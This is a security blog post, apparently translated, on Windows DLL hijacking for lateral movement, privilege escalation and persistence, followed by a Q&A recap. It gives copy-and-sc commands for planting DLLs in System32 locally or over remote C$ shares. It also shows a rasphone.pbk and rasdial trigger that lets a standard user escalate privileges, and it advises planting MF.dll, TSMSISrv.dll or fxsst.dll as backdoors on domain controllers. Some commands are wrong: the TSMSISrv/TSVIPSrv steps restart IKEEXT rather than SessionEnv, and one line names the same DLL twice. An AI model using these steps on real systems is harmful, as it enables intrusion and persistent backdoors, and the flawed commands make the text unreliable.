One Day SecOne Day Sec

Expansion on the Exploitation of "Lateral Movement — SCM and DLL Hijacking Primer"

Onedaysec
4 min read
2 views
docx image 1770017240505 0 87b41f598b

0x00 Preface

---

"Lateral Movement — SCM and DLL Hijacking Primer" introduced three DLLs (wlbsctrl.dll, TSMSISrv.dll, and TSVIPSrv.dll) that can achieve remote execution via SCM (Service Control Manager). This article will expand on the usage of these three DLLs, separately introducing methods for privilege escalation and backdoor exploitation.

Article link:

https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992

0x01 Introduction

---

This article will cover the following:

  • Privilege escalation using wlbsctrl.dll
  • Backdoor exploitation using TSMSISrv.dll and TSVIPSrv.dll
  • Backdoor exploitation using MF.dll

0x03 Exploitation of wlbsctrl.dll

---

1. Usage from the original article

The IKEEXT (IKE and AuthIP IPsec Keying Modules) service loads wlbsctrl.dll during startup, but this DLL does not exist in the default Windows configuration. If we place our own DLL at this location, it will be loaded when the service starts.

POC:

https://github.com/djhohnstein/wlbsctrl_poc

Test system: Win7 x64

The DLL used here does not require specifying export functions, so we can directly use my previous test DLL:

An open-source project

Local execution method:

(Administrator privileges required)

copy calc_x64.dll C:\Windows\System32\wlbsctrl.dll
sc query IKEEXT
sc stop IKEEXT
sc start IKEEXT

Remote execution method:

copy calc_x64.dll \\TARGET\C$\Windows\System32\wlbsctrl.dll
sc \\TARGET query IKEEXT
sc \\TARGET stop IKEEXT
sc \\TARGET start IKEEXT

2. Privilege escalation implemented using wlbsctrl.dll

POC:

https://github.com/itm4n/Ikeext-Privesc

Implementation principle:

1. The IKEEXT (IKE and AuthIP IPsec Keying Modules) service loads wlbsctrl.dll upon startup, but does not specify an absolute path

Note:

When a program calls a DLL without specifying its full path, the system follows a fixed search order to locate the DLL

If SafeDllSearchMode is enabled, the program searches for the DLL file in the following order:

  • The directory from which the application loaded
  • The system directory
  • The 16-bit system directory
  • The Windows directory
  • The current directory
  • The directories that are listed in the PATH environment variable

If disabled, search for DLL files from the following locations:

  • The directory from which the application loaded
  • The current directory
  • The system directory
  • The 16-bit system directory
  • The Windows directory
  • The directories that are listed in the PATH environment variable

For detailed information, see:

https://msdn.microsoft.com/en-us/library/ms682586(VS.85).aspx

2. Under the default configuration of the Windows system, wlbsctrl.dll does not exist. If we can find a PATH environment variable that meets the conditions (writable with standard user permissions), we can achieve DLL hijacking and load our own DLL.

3. Standard user permissions can start the IKEEXT service as follows:

Generate the file rasphone.pbk:

[IKEEXT]
MEDIA=rastapi
Port=VPN2-0
Device=Wan Miniport (IKEv2)
DEVICE=vpn
PhoneNumber=127.0.0.1

Command line execution:

rasdial IKEEXT test test /PHONEBOOK:rasphone.pbk

Note:

This vulnerability is very old and was publicly disclosed as early as October 9, 2012

https://www.immuniweb.com/advisory/HTB23108

0x04 Exploitation of TSMSISrv.dll and TSVIPSrv.dll

---

1. Usage in the original text

The SessionEnv (Remote Desktop Configuration) service loads C:\Windows\System32\TSMSISrv.dll and C:\Windows\System32\TSVIPSrv.dll upon startup, but these two DLLs do not exist under the default Windows system configuration. If we place our own DLL in this location, it will be loaded when the service starts

POC:

https://github.com/djhohnstein/TSMSISrv_poc

Test system: Win7 x64

POC added export functions StartComponent, StopComponent, OnSessionChange, and Refresh

In my test environment, the DLL does not require specifying export functions, so my previously tested DLL can be used directly:

An open-source project

Usage for local execution:

(Administrator privileges required)

copy calc_x64.dll C:\Windows\System32\TSMSISrv.dll
sc query IKEEXT
sc stop IKEEXT
sc start IKEEXT

Or

copy calc_x64.dll C:\Windows\System32\TSVIPSrv.dll
sc query IKEEXT
sc stop IKEEXT
sc start IKEEXT

Usage of remote execution:

copy calc_x64.dll \\TARGET\C$\Windows\System32\TSMSISrv.dll
sc \\TARGET query IKEEXT
sc \\TARGET stop IKEEXT
sc \\TARGET start IKEEXT

or

copy calc_x64.dll \\TARGET\C$\Windows\System32\TSVIPSrv.dll
sc \\TARGET query IKEEXT
sc \\TARGET stop IKEEXT
sc \\TARGET start IKEEXT

2. Backdoor implemented using TSMSISrv.dll and TSVIPSrv.dll

If the system has Remote Desktop functionality enabled (supporting remote connections to this computer), the SessionEnv (Remote Desktop Configuration) service will be started

If we write TSMSISrv.dll or TSVIPSrv.dll under C:\Windows\System32\, the DLL will be loaded when the service starts, achieving code execution

Application scenario:

Obtain remote access permissions to domain controller files but cannot execute commands remotely

Solution:

1. If the domain controller does not have Remote Desktop enabled, hijack the loading of fxsst.dll by Explorer.exe during system startup.

Write the file C:\Windows\fxsst.dll

2. If the domain controller has Remote Desktop enabled, the SessionEnv service will start during system startup, loading TSMSISrv.dll or TSVIPSrv.dll.

Write the file C:\Windows\System32\TSMSISrv.dll or C:\Windows\System32\TSMSISrv.dll

3. If the domain controller has Remote Desktop enabled, MF.dll will be loaded when a user initiates a Remote Desktop connection.

Actual Test:

Test Environment: Server 2012 R2 x64

Write the file C:\Windows\System32\MF.dll, command as follows:

copy calc_x64.dll C:\Windows\System32\MF.dll

Wait for a user to connect via Remote Desktop. Upon successful connection, MF.dll is loaded, launching the calculator as shown in the figure below.

2. Backdoor implemented using TSMSISrv.dll and TSVIPSrv.dll — technical illustration 1

0x05 Summary

---

This article introduces three exploitation methods: privilege escalation via wlbsctrl.dll, a backdoor via TSMSISrv.dll/TSVIPSrv.dll, and a backdoor via MF.dll. Among these, MF.dll can be used to address the issue of gaining remote file access permissions on a domain controller but being unable to execute commands remotely.

Related Questions & Answers

Why is the wlbsctrl.dll privilege escalation considered an old vulnerability, and what condition must be met for standard users to exploit it?

The vulnerability was publicly disclosed as early as October 9, 2012 (HTB23108). It relies on the fact that the IKEEXT service loads wlbsctrl.dll without specifying an absolute path under default Windows configurations. For a standard user to exploit it, they must find a directory in the PATH environment variable that is writable by their user account. With SafeDllSearchMode enabled, the search order includes the system directory, Windows directory, and current directory—so a writable directory early in the PATH allows placing a malicious wlbsctrl.dll there. The user then triggers the service using `rasdial` with a crafted `rasphone.pbk` file, as detailed in the [Expansion on the Exploitation of "Lateral Movement — SCM and DLL Hijacking Primer"](/news/expansion-on-the-exploitation-of-lateral-movement-scm-and-dll-hijacking-primer).

What role does MF.dll play in Remote Desktop attacks, and when is it particularly useful?

MF.dll is loaded by the system when a user initiates a Remote Desktop connection (if Remote Desktop is enabled). An attacker can place a malicious `C:\Windows\System32\MF.dll` and wait for any user to connect via RDP, at which point the DLL is executed. This technique is particularly useful for domain controllers: if you have remote file access but cannot execute commands, writing MF.dll gives you code execution the moment an administrator or user connects via RDP. This method is covered in the [Expansion on the Exploitation of "Lateral Movement — SCM and DLL Hijacking Primer"](/news/expansion-on-the-exploitation-of-lateral-movement-scm-and-dll-hijacking-primer).

How can TSMSISrv.dll and TSVIPSrv.dll be used to establish a backdoor on a domain controller?

If the domain controller has Remote Desktop enabled, the SessionEnv service automatically starts during boot and loads `C:\Windows\System32\TSMSISrv.dll` or `TSVIPSrv.dll`. Since these DLLs do not exist by default, an attacker with file write access can place a malicious DLL at that path. When the service starts, the DLL is loaded, achieving code execution and creating a persistent backdoor. This technique is useful when you can write files but cannot execute commands remotely, as described in the [Expansion on the Exploitation of "Lateral Movement — SCM and DLL Hijacking Primer"](/news/expansion-on-the-exploitation-of-lateral-movement-scm-and-dll-hijacking-primer).

What is the key difference between the original usage of wlbsctrl.dll in the primer and the privilege escalation technique described in this article?

The original [Expansion on the Exploitation of "Lateral Movement — SCM and DLL Hijacking Primer"](/news/expansion-on-the-exploitation-of-lateral-movement-scm-and-dll-hijacking-primer) used wlbsctrl.dll with administrator privileges to copy the DLL and manually start the IKEEXT service for remote code execution. The privilege escalation technique builds on this by exploiting the fact that the IKEEXT service loads wlbsctrl.dll without an absolute path, allowing standard users to hijack the DLL via a writable directory in the PATH environment variable, then trigger the service using `rasdial` with a crafted `rasphone.pbk` file.

Continue Reading